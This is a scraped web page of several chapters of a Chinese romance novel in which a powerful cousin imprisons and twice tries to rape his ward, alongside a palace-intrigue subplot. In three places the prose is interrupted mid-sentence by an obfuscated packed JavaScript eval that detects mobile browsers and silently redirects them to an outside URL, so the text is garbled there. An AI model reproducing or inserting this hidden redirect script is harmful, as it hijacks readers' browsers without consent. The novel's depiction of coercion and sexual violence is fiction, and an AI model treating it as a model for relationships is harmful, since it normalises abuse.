他眼底的血色瞬间再次翻涌,更浓更烈,单手轻易攥住她两只纤细的手腕,粗暴压过头顶,固定在冰冷床板上。另一只手捏住她的下巴,强迫她转过脸来,力道之大让她痛得溢出泪花。 “躲?” 他冷笑,气息因欲望和怒意不稳,眼神骇人:“你以为你能躲到哪去?从你进文家大门那天起,就注定是我的人。” 周妙雅咬紧下唇,几乎咬出血来,泪水汹涌而出,她拼死别过头去,奋力躲避如暴风雨般压下来的气息。 就在他再次俯身,试图强行施压的那一刹那—— 院外远处,隐约传来一阵越来越清晰的喧哗与骚动。 起初模糊,继而变得清晰。 是白芷焦急惶恐的呼唤声,正试图冲破小厮的阻拦,向院内而来。 “小姐!小姐!您在里面吗?大少爷,求求您,让奴婢见见小姐吧!小姐!”白芷的声音带着哭腔,一听就是吓坏了,却又鼓足了天大的勇气。 “滚开!此地岂容你喧哗!”是小厮压低声音的呵斥。 “我就看一眼!小姐回来时样子不对…我求你们了!小姐!您应我一声啊!”白芷声音越发焦急,似乎还试图往里闯,引发了更激烈的阻拦与推搡。 文毓瑾所有的动作彻底停下,他维持着禁锢她的姿势,侧耳听着外间的动静,脸色阴沉的可怕。 显然,不止白芷一人,似乎还引来了其他下人的注意。 他猛地松开钳制,霍然站起身,胸膛剧烈地起伏,极快地整理了一下自己微乱的衣襟和袖口,每一个动作都带着未消的怒意和冰冷的计算。他盯着榻上衣衫凌乱、泪痕满面却眼神倔强的周妙雅。 短暂的、令人窒息的死寂在屋内蔓延。 外间白芷带着哭腔的呼喊和小厮的呵斥时高时低,持续传来。 他深深地看了她最后一眼,那目光复杂难辨,有未满足的欲望,有被激烈反抗的恼怒,更有一种你终究逃不出我掌心的绝对笃定。 终于,他猛地转身,一把拉开房门,清冷的月光和廊下的灯光瞬间涌入,照亮他挺直的背影,在地面拉出一道长长的、压抑的影子。 “管好你的人。”他对门外冷斥了一声,声音不大,却足以让喧哗戛然而止。 旋即,他大步离去,没有再回头,也并未将房门再次锁上。 周妙雅瘫软在冰冷的榻上,如同被抽走所有筋骨般,只剩下劫后余生般的颤抖和无边无际的后怕。 心脏在胸腔里疯狂擂动,几乎要撞碎肋骨。 门外脚步声急促,白芷哭着冲进来,看到她这般衣冠不整、失魂落魄的模样,吓得魂飞魄散,扑到榻前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922314|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“小姐!小姐您怎么了?您别吓奴婢啊!” 白芷连扶带抱,几乎是半拖着将浑身瘫软、犹自剧烈颤抖的周妙雅弄回了她自己的小院。一路上,周妙雅如同失了魂的木偶,目光空洞,除了无声的流泪,再无半点反应。 一进房门,白芷立刻反手闩上门栓,这才敢稍微放开声音,带着哭腔急急问道:“小姐!小姐您到底怎么了?大少爷他…他对您做了什么?” 她手忙脚乱地将周妙雅扶到床边。 周妙雅仿佛被这句话刺醒,猛地蜷缩起来,双手紧紧抱住自己,将脸深深埋入膝间,压抑许久的恐惧、屈辱和后怕如同决堤的洪水,终于冲垮了最后一丝强撑的镇定,爆发了出来。 白芷何曾见过自家小姐这般模样,吓得魂飞魄散,也跟着掉眼泪。她不敢再追问,只能跪在床边,一遍遍轻抚周妙雅剧烈颤抖的背,语无伦次地安慰:“小姐…小姐别怕…没事了…回来了…没事了…” 她摸到周妙雅身上那件属于文大郎的月白外衫,她小心翼翼地,试图帮周妙雅将其脱下来。 周妙雅像是被烫到一般,猛地一缩,哭声戛然而止,抬起头,脸上满是惊惧的泪痕,声音破碎不堪:“别…别碰我…拿开…快拿开!” “好好好,不碰不碰!”白芷连忙缩回手,心酸不已。 白芷强忍着心酸,起身飞快地从箱笼里找出一套周妙雅平日穿的、半旧却柔软干净的寝衣。 “小姐,咱们先把这身衣服换下来好不好?沾了潮气,穿着难受。”她声音放得极轻极柔,像是怕惊扰了易碎的琉璃。 周妙雅眼神空洞,没有反应。 白芷咬咬牙,壮着胆子,极其轻柔地开始帮她更换衣物。过程中,周妙雅如同一个没有灵魂的布偶,任由摆布,只是身体依旧止不住地轻颤。 当那件属于文毓瑾的外衫被彻底脱下,团成一团扔在角落时,周妙雅似乎才微微松了口气,但眼中的惊惧并未散去。 白芷又打来温水,绞了热帕子,细细地为周妙雅擦拭脸上交错的泪痕,又帮她梳理好散乱的长发。 做完这一切,白芷端来一杯温水,小心地递到周妙雅唇边:“小姐,喝点水,压压惊。” 周妙雅就着她的手,无力地啜饮了几口。温热的水流划过干涩疼痛的喉咙,稍稍拉回了一些涣散的神智。 她抬眼看向眼前哭得眼睛红肿、满脸担忧的小丫鬟,巨大的悲伤和委屈再次涌上,她猛地抓住白芷的手,声音依旧带着剧烈的颤抖:“白芷…我害怕…我真的好害怕…” “奴婢知道…奴婢知道…” 白芷反握住她冰冷的手,眼泪掉得更凶:“小姐,到底发生什么事了?是不是大少爷他…” 她不敢问下去,一个可怕的、她不敢细想的念头盘旋在心头,小姐她是不是已经不是完璧之身了… 周妙雅只是死死咬着下唇,几乎要咬出血来。巨烈的疼痛让她似乎逐渐清醒了过来。 她仿若瞬间明白了白芷的担心,用尽力气摇了摇头。 白芷悬着的心终于放下了几分,可终究还是担心,她声音哽咽,轻轻抚着周妙雅的背:“小姐…要不咱们…咱们告诉老太太去吧?” 5. 第五章 周妙雅霎时想到那日文二郎对自己的威胁,让她去告,看老太太会信谁… 确实,寄人篱下,多一事不如少一事,更何况是文大郎那般被文家寄予厚望的未来家主,岂是她能告的了的? 周妙雅对白芷摇了摇头,无奈说道:“老太太年纪大了,身体不好,经不得刺激。况且我们无凭无据,他又没真的把我怎么样,老太太岂会相信我?” 她说罢这话,竟感觉一股彻骨的绝望。在这偌大的文家,她竟然连一个能求救的人都找不到。 主仆二人相对垂泪,小小的房间里弥漫着无助又悲伤的气息。 ———— 自那日荷花宕惊鸿一瞥,李员外家的小公子便似丢了魂一般,日思夜想的皆是周妙雅惊惶垂泪、我见犹怜的风姿。几番寻了由头往文府递帖打探,却皆被文毓瑾以舍妹体弱静养为由,不软不硬地挡了回去,连门槛都未能踏入。 百爪挠心之下,这纨绔子弟竟又去寻了文二郎帮忙,酒楼雅间内,李公子屏退左右,直接将一匣黄澄澄的金锭推了过去,脸上是掩不住的急切与垂涎:“文二兄,小弟就开门见山了,那日贵府那位…仙子般的妹妹,不知可否……” 文毓瑜看着那足色赤金,眼中贪婪与恶毒交织。他正嫉恨周妙雅入骨,更乐得给那高高在上的大哥添堵,全然忘了被打到刚刚愈合的伤口。 他把玩着金锭,扯出个暧昧阴损的笑:“李兄倒是痴情种,只是我家那位妹妹,实属难得一见呐…” 见对方急不可耐,他方才故作神秘地压低嗓音:“倒是巧了…听闻后日是她为祖父冥寿独自前往寒山寺静斋祈福的日子,唉…我也是听下人们碎嘴一句,做不得准,做不得准。” 他嘴上说着,眼神却意有所指地瞟向那匣金子。 李公子霎时便听明白了,喜得抓耳挠腮,他心领神会,将金锭尽数推过:“多谢文二兄成全。” ——— 苏州城外的寒山寺古柏参天,香火缭绕中自有一派清寂。 周妙雅依循旧例,只带了白芷一人,于后院静斋焚香祝祷。青烟袅袅中,她合十闭目,神色虔诚静穆,浑然不觉一道贪婪炽热的目光已黏附在自己身上。 祈完福,她拿起经卷,正欲起身,蓦然抬眼,竟见那李公子正倚在廊柱旁,锦衣折扇,眼神直勾勾毫不避讳,嘴角噙着志在必得的笑意。 周妙雅吓得魂飞魄散,手中的经卷险些落地,她慌忙拉起白芷,几乎是落荒而逃,裙裾拂过门槛,荡起一阵惊慌失措。 此事如何能瞒得过文毓瑾? 周妙雅的马车还在回府的路上,文毓瑾已得下人的密报。 “砰!” 一盏价值不菲的天青釉茶盏被狠狠摔碎在地上,瓷片四溅。 好!好得很! 他不过稍未看紧,她便又出去招摇,竟又引得那姓李的堵上门来。 一股暴戾的妒火瞬间焚过他的天灵盖。想到那些肮脏目光可能玷污她的纯净,他便恨不能立刻将那姓李的纨绔眼珠子剜出来。 周妙雅根本不知,她顶着那副清丽艳极的容貌在外行走,本身就是一种无声而致命的引诱,她合该被彻底珍藏,隔绝一切妄念,只容他文毓瑾一人独赏。 锁起来,必须彻底锁起来。 此念一生,便如毒蔓疯长,缠绕心窍,他要筑一座金丝笼,一处唯有他知道的、绝对隐秘的所在,将她细细藏起来。 文家园林深处的听雨轩倒是个好地方,文毓瑾仔细思量着,那是文老太爷生前清净读书的地方,除了他,现在几乎无人踏足此地。 他立刻命人去将听雨轩的门窗加固,又找来了文府中口不能言、耳不能听的老实哑仆。 周妙雅这边前脚刚一踏入府门,还没来得及去拜见老太太,就被几名壮汉家丁径直抓去了听雨轩。 那几名壮汉家丁正是文毓瑾的人,他们不由分说地将门窗轰然闩死,白芷也不知道被他们带去了哪。 周妙雅用力拍打厚重的门板,哭喊着哀求,直到掌心通红,嗓音嘶哑,回应她的,只有穿堂而过的冷风,以及窗外那个如同泥塑木雕般的哑仆。 每日,只有一只枯槁的手通过门下特制的小窗,沉默地递入勉强果腹的粗糙饭食,那短暂的开启,成了她与外界唯一的联系。 她如同被遗弃一般,被困在这方寸之地,日夜被无声的恐惧啃噬,她不知罪在何处,更忧心不知所踪的白芷。 夜里,风声呜咽,吹过竹林,仿佛鬼魅低语,任何一点细微的声响都让她惊坐而起,心脏狂跳不止。 她吃不下,睡不着,抱着双膝蜷缩在冰冷的榻上,泪水早已流干,只剩下冰冷的的茫然。 她不明白,自己安分守己,谨小慎微,为何灾祸总是如影随形,她更不明白,那个平日里温文尔雅、被寄予厚望的文家大郎,为何总是对她露出如此狰狞恐怖、蛮不讲理的一面… 文老太太连日不见周妙雅,念叨不已,文毓瑾只温言回禀:“雅妹妹自寒山寺归来便不慎染了风寒,病气重,怕过了病气给祖母,需静养些时日。” 他言辞恳切,滴水不漏。 整整五日,周妙雅在惶惑、孤寂与冰冷的恐惧中煎熬。 第六日黄昏,门闩终被拉开。 逆光中,文毓瑾一身天青色直裰,身姿挺拔如松,面容温润如玉,缓步踏入。 他仿佛不是来释放囚/徒的,而是闲庭信步。 周妙雅却如惊弓之鸟,猛地蜷缩后退,脊背重重撞上冷墙,眼中瞬间盈满惊惧的泪水。 文毓瑾目光扫过未动的膳食与空白的宣纸,落在她苍白瘦削的小脸上,微微蹙眉,复又舒展。 他俯身逼近,阴影将她完全笼罩,语气温和得令人毛骨悚然:“静思五日,可曾…长了记性?” “记性?” 周妙雅泪如雨下,声音破碎不堪:“我…我做错了什么?为何关我?白芷呢?求大哥哥让我见祖母…” 文毓瑾眼底那点伪装的温和顷刻褪尽,覆上冰冷寒霜,他猛地抬手,冰凉的指腹狠狠擦过周妙雅滚烫的泪痕,随即捏住她的下巴,迫使她抬头。 “看来,你仍是冥顽不灵。” 他声音骤冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922315|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“寒山寺的李公子,看得可还称心?是否觉得,离了我文家的庇护,自有狂蜂浪蝶为你倾心?” “不!我没有!是他…”她急声辩白,却被他指尖用力按唇止住。 “你有无意愿,并不紧要。” 他眼神幽深如寒潭,一字一句,诛心刺骨:“紧要的是,因你之故,招来觊觎,因你这张脸,引来祸端。” “此,便是你的原罪。” 他俯下身,靠得极近,气息喷在她脸上,却带着彻骨的寒意,声音压得极低,却如同最恶毒的诅咒: “今日我便与你说明白,从今往后,你给我牢牢记住,安分待在深闺,收起你那些不该有的心思。若再让我知晓你顶着这副皮囊出去招摇,若再让我看到有任何一个男人,像那姓李的一般对你露出半点痴迷觊觎之色…” 他顿了顿,眼中掠过一丝残忍的幽光,语气轻柔却令人毛骨悚然: “下一次,就绝不是在听雨轩关五天这么简单了,我有的是法子,让你,还有那个不知死活的狂蜂浪蝶,都彻底明白,谁才是你的主宰,而你,又该属于谁。” “今日放你,是因祖母思念。” 他语气恢复淡漠:“该如何回话,你当知晓。” “我不明白,也不知晓。”周妙雅不知从哪里生出一丝反骨,可能是因为祖父生前日日教导文人的骨气,在祖父昔日的书房里,让她生出了这份勇气。 文毓瑾眉头骤然锁紧,眼底闪过一丝极快的意外,他没想到她会开口,更没想到是这般语气。 周妙雅没有给他打断的机会,她的目光缓缓扫过这间祖父昔日在此静坐读书,如今却沦为囚/室的屋子,声音里带上了一丝极淡的讥诮:“就因为我这副皮囊?因为它招来了不该有的目光,所以它便成了我的原罪?” “若真是如此,若这张脸真的是万恶之源、灾祸之引…” 她的话语猛地顿住。 下一秒,她猝不及防地抬手,瞬间拔下了发间的金钗,尖锐的簪尾死死抵在自己光滑的脸颊上: “那大哥哥为何不直接毁了它?” 她的手臂因用力而微微颤抖,眼神却死死盯着文毓瑾。 文毓瑾彻底愣住了。 他预想过她的哭泣、她的顺从、她的恐惧,甚至她的沉默,却独独没有预想到眼前这般惨烈决绝的景象。 她竟然…竟然要用毁容来反抗他? “你疯了!”他厉声喝道,下意识地上前一步,想要阻止,却又忌惮她此刻失控的状态反而弄巧成拙,他生怕他再上前一步,周妙雅那簪头会真的扎下去,渗出血花。 寂静。 死一般的寂静在室内蔓延。 “好…很好。” 他终于开口,声音低沉得可怕,每一个字都像是从齿缝间挤出来的:“周妙雅,我倒是小瞧你了。” “但这世上,多的是让倔骨头低头的方法。你这点可怜的硬气,只会让你摔得更惨。” “我们…走着瞧。” 他不再多言,猛地转身,衣袍带起一阵冷厉的风,大步离去。 6. 第六章 京城,腊月三十,除夕夜。 连日的雪,终是停了,皇城内外,银装素裹。 因是除夕夜,圣上泰和帝在宫中大摆宴席,宴请群臣。 过了这个新年,就是泰和帝朱弘睿登基的第四年了。 作为当今圣上唯一的亲弟弟,这种场合,朱弘毅自然是要作陪的。 光禄寺早就开始忙前忙后了,备酒、备菜、备歌舞,一副热火朝天的景象。 各宫各殿的檐下也悬起了六角雕花的宫灯,画屏图案有龙凤呈祥、福寿延年的,柔光映着皑皑白雪,森严的宫阙竟也被衬出几分柔美。 奉天殿内,百官依品阶列坐,在珍馐美馔间觥筹交错,笑语喧阗。 大殿中央,身着彩衣的舞姬随着仙乐翩翩起舞,水袖翻飞,裙裾摇曳,一副歌舞升平的祥和景象。 执杯间,朱弘毅的目光似不经意间掠过最高处的御座,皇兄因酒气,已微微上头,他表情空洞,目光倦怠,昔日在东宫做太子时的朝气已全无,像是被什么东西逐渐蛀空了内里、吸干了精元。 皇帝每每举杯想要开口之前,眼风总会带着几分依赖地扫向身边下首坐着的一个人。 那人身着绛紫蟒袍,面白无须,眉眼间总似含着三分笑意,唯有一双鹰隼般的利眼,锐光潜藏,正缓缓扫视着在座的群臣。 他是当朝司礼监掌印太监,一人之下、万人之上的九千岁,权宦魏琰。 朱弘毅兄弟二人的母妃去的早,在这深宫之中,互相扶持已是不易。魏琰是从小陪伴皇兄的大伴,早年间隐藏了自己的野心,直到皇兄登基后,恶狼才露出自己锋利的獠牙。 身边的宗室有高谈阔论者,早已被魏琰的爪牙盯上。朱弘毅起先并未与人主动攀谈,他深知这大典之上,魏琰的人正在监听并记录他们说的每一句话。 他慵懒地往椅子上靠了一下,执起一只琉璃盏,目光似漫不经心地流连于殿内舞姬曼妙的姿容。 有小太监执着酒壶走过,朱弘毅叫住了他,语调故意扬高几分,带上些许慵懒恣意:“如此仙乐妙舞,怎能没有西域琼浆?” 小太监乐得为他斟酒,目光扫过坐在不远处的干爹魏琰,陪笑道:“还是宁王殿下最有品味。” 朱弘毅眸光微动,顺势接过话头,似是被勾起了谈兴…… 只见他似微醺般,举着酒杯摇晃着起身,来到魏琰身边坐着的安王叔面前,顾意挑起话题。 他声音不高不低,刚好能传入魏琰耳中:“听闻皇叔最近新得李思训山水一幅,哪天也让小侄开开眼吗。” 还没等那安王搭话,他又自顾自地高谈阔论了起来,带着几分恰到好处的醉意与狂放:“但要论画中神韵意境,李思训的金碧山水固然富丽堂皇,终究是匠气太过,失之天然,岂及得上王摩诘的水墨疏淡,妙在那似与不似之间。正所谓诗中有画,画中有诗,那般境界,才是吾辈心之所向啊。” 魏琰自是听不懂他这些什么狗屁书画论,但是他能听懂的是世人对朱弘毅的评价,闲散王爷,沉溺书画,果然一开口除了书画也说不出别的。 朱弘毅越说越兴奋,竟以指尖蘸了蘸杯中美酒,在檀木案几上虚虚勾勒起来:“说来巧极,昨日小王府上竟偶得一幅疑似吴道子真迹的《天王送子图》摹本,那笔势,当真如郭若虚所言吴带当风,圆转飘逸,遒劲如铁线勾勒,人物衣带翩跹,仿佛真要破纸而出,可惜啊可惜…” 他话锋一顿,俊美的脸上露出极为痛惜的表情,重重叹息道:“可惜左下角竟残损了一小块,虽经名家修补,终究难复旧观,如此神品,竟有瑕疵,真真痛煞我心,吾日夜思之,辗转难眠…” 魏琰笑了笑,对被朱弘毅缠住的安王说道:“安王爷,您看吗,又过了一年,咱们这些老骨头,年岁也长了,唯宁王殿下,还是这个画痴的样子。” 朱弘毅得寸进尺了起来:“安王叔,小侄方才想起,前日我不仅得了古画,还得了一卷失传已久的《广陵散》古谱,其上所载轮指之法,与当今流传的调子大不相同,精妙绝伦,闻所未闻。” 他身体微微前倾,脸上是一种纯粹的、近乎痴迷的狂热,仿佛整个心神都被那琴谱占据了:“如此绝响,若不能寻得一位通晓古琴的知音大家,焚香净手,一同参详品评,奏响那旷世之音,岂非是暴殄天物,辜负了先人心血?人生乐事,莫过于此啊。” 他高谈阔论,从书画珍玩说到古琴曲乐,又从曲乐说到新得的猎鹰如何神骏,冬日围猎如何畅快,言语间浸满了纨绔子弟的奢靡享乐与不谙世事。 魏琰在一旁,细细审视着朱弘毅眉梢眼角的每一丝神态,每一分表情。 见他言行举止与往常并无二致,甚至因年节而更添了几分荒唐恣意,那审视的目光便缓缓收回,唇角轻轻一勾,掠过一丝极淡的、轻蔑的冷笑。 终究是个只知道沉溺声色的绣花枕头,空有一副好皮囊和那点风花雪月的小聪明。先帝之子,陛下唯一的胞弟,竟也废物至此。留着哄陛下开心,彰显天家亲情,正好。 ——— 外面的喧嚣并没有打扰到宁王府的宁静,偶尔有两三声炮竹声传来,把昏昏欲睡的青黛清梦给搅了。 她看了一眼周妙雅,白瓷一样的人儿,正沉沉睡着,任凭外面多少惊涛骇浪,也不为一丝所动。 而周妙雅的梦境里,此刻确是天翻地覆的。 文府设宴,灯火煌煌,丝竹绕梁,皆为明日启程赴京赶考的文大郎践行。 出乎所有人的意料,文家这次居然让文二郎也跟着一同进京,对于此事,实则是不同的人,存了不同的心思。 文大郎答应带他进京,实则是不想文二郎留在苏州,再给周妙雅惹上什么不三不四的男人。 文二郎自己也想进京,京城勋戚权贵众多,若是自己能攀上比文家更有权势的高枝,可以助自己解了和周妙雅的婚约,那自然是最好不过的。 文老太太答应让文二郎进京,实则是想借文家在京城的人脉,帮科举无望的文二郎谋个差事,若能得中书舍人这样的闲职,那自然是极好的。 践行宴上,文毓瑾居于主位,应对自如,风姿清贵,觥筹交错间,他目光偶尔落于席末那抹倩影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922316|192608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之上,温润眼底深藏的,是势在必得的掌控与离期将至的躁郁。 如此看来,那次以毁容相逼,并没有让他知难而退,反而愈发激发了他心底的占有欲。 周妙雅坐立难安,文毓瑾那目光似有千斤重,压得她难以呼吸。她见文毓瑾酒意渐浓,眸中温润褪去,暗沉之色愈显,她心知不妙,趁众人喧哗,悄声离席,疾步退回自己的小院。 她气息未定,急声道:“白芷,快去院外守着,若见大哥哥身影,速来报我。” 白芷领命,紧张地去了。 不过片刻,白芷脸色惨白奔回:“小姐,大少爷…他真来了,已到院门了。” 周妙雅指尖瞬冷,语气急躁:“快,从后门走,去寻祖母,若祖母歇下,便去求孙嬷嬷,就说我突发急症,梦魇惊惧,头痛欲裂,求祖母救命。” “可您独自…”白芷犹豫。 “快去!唯有祖母能阻他!”周妙雅将她推出后门。 几乎是同时,前院门被推开,文毓瑾稳步踏入,一身酒气,逆光而立。 他反手合上门,目光精准锁住明角灯下惶然如玉的人儿。 他轻笑,嗓音因酒意更显低沉磁哑,一步步逼近:“雅儿,明日兄长即要远行,你不来依依送别,反倒躲回这清冷所在,嗯?” 周妙雅连连后退,腰窝抵到冰冷的桌沿,退无可退:“大哥哥醉了,明日还需赶路,应以功名为重,早些休息…” “功名?” 文毓瑾像是听到极好笑的事,唇角勾起一抹倨傲的弧度:“科场文章,于我不过囊中取物,何须挂心。” 他目光灼灼,凝在她苍白却依旧清丽动人的脸上,眼底翻滚着浓烈的占有欲:“我文毓瑾想要的,从未失手,功名、声誉、家族…皆如是。” 他话音一转,忽的伸手,冰凉的指尖猛地擒住她下颌,迫使她抬头:“可为何…偏偏是你?” 他眼底涌现出一丝被挑衅的怒意:“一个寄养在我文家、无依无靠的女子,我予你庇护,给你尊荣,你的一切皆系于我手,为何我偏偏征服不了你?为何总想逃离我的掌控?” 这超出他掌控的感觉,比任何科举难题更让他烦躁。 酒意与执念汹涌交织,他猛地将她拽向自己,另一手已环上她不盈一握的腰枝,力道之大,不容挣脱。 “唔…放开!”周妙雅惊慌失措,双手死死抵在他胸膛。 他指尖粗暴地抚过她脸颊,带着一种近乎憎厌的迷恋:“你这张脸,生得太好,即便你无心,亦会招蜂引蝶,引来无数觊觎,徒生是非。唯有将你彻底打上我的烙印,让你从身到心都清清楚楚知道你是谁的人,你才会安分。” 言罢,他竟俯身,将她强行按向床榻,意图再明显不过,他要在此刻,此地,彻底占有她,粉碎她所有反抗的念头,在她身上刻下只属于他文毓瑾的印记,以此确保他离京期间,她不敢、也不能生出任何枝节。 周妙雅死命挣扎,却不过蜉蝣撼树,眼前一黑,整个人已被掼在绵软的锦被之上。 紧接着,沉重的阴影彻底覆下。 7. 第七章 文毓瑾的体温隔着薄薄的夏衫传递过来,滚烫得吓人。 两人离的太近,文毓瑾的目光贪婪地巡梭着她的眉、她的眼、她因恐惧而微张的、颤抖的唇,仿佛在鉴赏一件终于落入手中的长物,盘算着如何将其彻底纳入自己的珍藏。 突然,一声布帛撕裂的声音划破窒息的空气,金镶宝石的蝶恋花子母扣噼啪掉在床板上,周妙雅的夏衫被粗/暴撕开。 “不…不要”她发出近乎凄厉的哀鸣,拼尽全身力气在挣扎。 无奈双腿被沉沉压住,只能徒劳地扭动腰枝,被他钳制在头顶的手腕因剧烈挣扎被磨的生疼,仿佛要断了一般。 她的反抗似乎更加刺激了他,文毓瑾眼底的暗色骤然加深,另一只手竟顺势探入那被撕裂衣衫的缝隙,灼热的掌心紧贴上她娇嫩的皮肤。 周妙雅浑身猛的一颤,所有血液直冲头顶,极致的惊恐之下,她不知从哪生出一股狠劲儿,猛地别过头去,一口咬上了文毓瑾的手腕。 “呃”文毓瑾吃痛,闷哼了一声,手上的力道下意识地松了一瞬。 趁此间隙,周妙雅猛地抽出一只手,用尽全力扇了他一巴掌:“畜/生,放开我!” 这点微弱的抵抗彻底激怒了被酒气和欲望包围的男人。 “找死”,他声音沙哑暴戾,轻而易举地擒住她伤人的手腕,以绝对的力量重新死死压在枕上,整个人更加沉重地覆了上去,几乎压的她喘不过气。 破碎的衣衫凌乱地散开,露出雪白的肌肤与大红色的主腰。 周妙雅泪如雨下,所有的哭喊、挣扎都被他炙热的气息吞没,只留下绝望、破碎的呜咽。 整个世界仿佛都被隔绝了,窗外的虫鸣,远处的更漏声,全都消失不见。 千钧一发之际—— “老太太,您慢些,小姐就在屋里,说是很不舒服。”院外,白芷刻意拔高,带着哭腔的声音穿透寂静,伴随着急促纷乱的脚步声。 “大少爷可在里面?老太太听闻表小姐突发急症,放心不下,定要亲自过来瞧瞧。”孙嬷嬷沉稳而急切的声音紧随其后。 所有动作骤然停滞。 文毓瑾身体猛地一僵,眼底汹涌的欲望与暴戾急速褪去,换上极度的恼恨与不甘。他死死盯了周妙雅一瞬,终是松开手,极快地整理自己微乱的衣襟袍袖,面色阴沉得骇人。 周妙雅立刻挣脱,慌忙擦拭眼泪,整理凌乱的衣衫,心跳如擂鼓。 门被推开,文老太太在孙嬷嬷和白芷的搀扶下走了进来。 屋内情形一目了然:长孙面色不豫地立于房中,虽衣冠尚齐,但气氛诡异,他侧脸有隐隐的红印,在摇曳的烛光下看不太分明。 而周妙雅则躲在帏帐中,鬓发散乱,眼圈通红,脸上泪痕交错,衣衫亦有不整之嫌,一副受尽惊吓的模样。 文老太太眉头立刻紧蹙,目光先是担忧地扫过周妙雅,随即面色威严地看向文毓瑾:“瑾哥儿,你怎会在此?深更半夜,独自出现在雅儿闺房,这成何体统!” 她语气严厉,却仍是带着祖母对好孙儿的慈爱底色,并未立刻想到那不堪之处,只觉长孙即便关爱妹妹,也太过逾越礼数:“即便你们兄妹情深,你关心雅儿病情,也当知男女有别,深夜独处一室,若传扬出去,你妹妹的清誉还要不要了?你的仕途名声还要不要了?” 文毓瑾迅速收敛所有情绪,躬身行礼,语气恢复一贯的温雅克制,只是微哑的嗓音泄露了方才的激动:“祖母教训的是,孙儿酒后失态,听闻雅妹妹身子不适,一时情急,忘了分寸,只想亲眼看看才放心,险些酿成大错,请祖母责罚。” 文老太太爱孙心切,又素知长孙最是持重守礼,虽觉他深夜在此于礼不合,却也只当他真是酒后关心则乱,失了分寸,万万没往那腌/臜龌龊的方面去想。 她见文毓瑾躬身认错,神色虽有些许不自然,言语却依旧清晰恭谨,心下那点不快便也散了七八,只余下对孙儿明日还要长途跋涉的心疼:“罢了罢了,知错便好,日后定要牢记分寸。” 文老太太语气缓和下来,带着慈爱祖母的叨念:“快回去歇着吧,饮了这许多酒,明日还要赶路,仔细头疼。” 然而,侍立一旁的孙嬷嬷,那双历经世故的眼睛,却在文毓瑾转身欲走、光线变换的刹那,敏锐地瞟见了他袍服下某处不自然的、微微挺括的痕迹。虽被他用快速整理的动作极力掩饰,但那一瞬间的窘迫形态,落在孙嬷嬷这等老人眼里,已是昭然若揭。 孙嬷嬷心头猛地一沉,如同坠了一块冰,她立刻垂下眼皮,敛去所有情绪,面上依旧是那副恭顺沉稳的模样,仿佛什么都没看见。 她心下已是雪亮:这哪里是什么兄妹关怀,大少爷方才分明是动了那般心思,且已是情动难抑之态,若非她们来得及时,表小姐只怕…难保完璧之身。 她不敢再想下去…大少爷平日那般端方君子的模样,竟也会… 再看那缩在老太太身边,哭得梨花带雨、衣衫发丝犹带凌乱痕迹的表小姐,孙嬷嬷心底不由生出几分真切的怜悯与后怕。 文毓瑾自是察觉到了孙嬷嬷那迅速避开却已然了然的目光,心头更是恼恨羞愤交加。 他强压下翻腾的情绪,面上不动声色,甚至对文老太太露出一丝带着歉意的疲惫笑容:“是,孙儿谨记祖母教诲,这就回去歇息,祖母也请早些安歇。” 他再次行礼,姿态恢复了一贯的从容,只是转身离去时,步伐较平日略显急促僵硬。 文老太太浑然未觉这暗潮涌动,只转头满心怜惜地抚着周妙雅的背:“好了好了,没事了,你大哥哥也是担心你,瞧把这小脸吓的,白得没一丝血色。” 她只当周妙雅是被兄长突然闯入和严厉询问吓坏了。 周妙雅将脸深深埋在祖母温暖的肩头,身体却止不住地一阵阵发冷后怕,她清楚地知道,刚才只差一步,只差一步就… “祖母…我怕…让我跟您睡吧…”她哽咽着,声音破碎,这哀求里带上了十二分的真切。 “好好好,今晚就跟着祖母睡。”文老太太满口答应,搂着她轻声安慰,全然不知自己怀中的孙女刚刚经历了一场怎样的惊心动魄,也不知自己最引以为傲的长孙,心底藏着怎样骇人的想法。 ————— 几日后,文老太太歪 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她说着,脸上泛起光彩,仿佛已看到那风光无限的未来:“届时,我这把老骨头,说不得也要亲自进京一趟,为我这长孙主持大局,务必风风光光,办得体体面面。” “老太太亲自出马,那必定是极好的。”孙嬷嬷笑着附和,又似不经意地提醒,“那…二郎的婚事,老太太想必也早有安排?他与表小姐…” 提到这个,文老太太笑容更盛,显然这是她心中另一桩得意事:“正是!等瑾哥儿事了,瑜哥儿想必也在京城谋了个闲职,站稳了脚跟。到时候,正好把瑜哥儿和雅儿的婚事一并办了。就在京城办,双喜临门,那才叫真正的盛大热闹,也让京城的人瞧瞧,我们文家的气派!” 